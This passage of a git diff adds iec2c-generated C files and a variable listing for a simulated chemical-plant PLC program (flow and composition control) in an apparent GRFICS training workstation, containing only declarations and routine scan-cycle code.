__DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; 